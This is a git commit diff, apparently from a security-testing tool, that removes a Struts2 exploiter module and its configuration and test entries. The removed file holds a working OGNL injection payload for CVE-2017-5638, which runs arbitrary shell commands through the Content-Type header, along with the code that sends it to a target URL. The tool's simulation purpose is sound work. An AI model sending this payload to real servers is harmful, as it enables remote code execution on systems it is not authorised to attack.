Agent, UT: Remove Struts2 exploiter

This commit is contained in:
Ilija Lazoroski 2022-04-08 12:18:16 +02:00
parent 84ab94acc1
commit 9d09117e7b
5 changed files with 0 additions and 94 deletions

View File

@ -1,90 +0,0 @@
"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import http.client
import logging
import re
import ssl
import urllib.error
import urllib.parse
import urllib.request
from typing import List, Tuple
from infection_monkey.exploit.web_rce import WebRCE
logger = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE):
_EXPLOITED_SERVICE = "Struts2"
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host, None)
def get_exploit_config(self):
exploit_config = super(Struts2Exploiter, self).get_exploit_config()
exploit_config["dropper"] = True
return exploit_config
@staticmethod
def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
url_list = WebRCE.build_potential_urls(ip, ports)
url_list = [Struts2Exploiter.get_redirected(url) for url in url_list]
return url_list
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {"User-Agent": "Mozilla/5.0"}
request = urllib.request.Request(url, headers=headers)
try:
return urllib.request.urlopen(
request, context=ssl._create_unverified_context() # noqa: DUO122
).geturl()
except urllib.error.URLError:
logger.error("Can't reach struts2 server")
return False
def exploit(self, url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:return: response
"""
cmd = re.sub(r"\\", r"\\\\", cmd)
cmd = re.sub(r"'", r"\\'", cmd)
payload = (
"%%{(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?"
"(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ognlUtil.getExcludedPackageNames().clear())."
"(#ognlUtil.getExcludedClasses().clear())."
"(#context.setMemberAccess(#dm))))."
"(#cmd='%s')."
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
"(#p=new java.lang.ProcessBuilder(#cmds))."
"(#p.redirectErrorStream(true)).(#process=#p.start())."
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
"(#ros.flush())}" % cmd
)
headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload}
try:
request = urllib.request.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib.request.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
except http.client.IncompleteRead as e:
page = e.partial.decode()
return page

View File

@ -57,7 +57,6 @@
{"name": "DrupalExploiter", "supported_os": ["linux", "windows"], "options": {}},
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
{"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}},
{"name": "Struts2Exploiter", "supported_os": ["linux", "windows"], "options": {}},
{"name": "WebLogicExploiter", "supported_os": ["linux", "windows"], "options": {}},
{"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}
]

View File

@ -49,7 +49,6 @@
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"Struts2Exploiter",
"ZerologonExploiter",
"WebLogicExploiter",
"HadoopExploiter",

View File

@ -5,7 +5,6 @@
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
"MSSQLExploiter",

View File

@ -202,7 +202,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
{"name": "DrupalExploiter", "supported_os": [], "options": {}},
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
{"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}},
{"name": "Struts2Exploiter", "supported_os": [], "options": {}},
{"name": "WebLogicExploiter", "supported_os": [], "options": {}},
{"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}},
],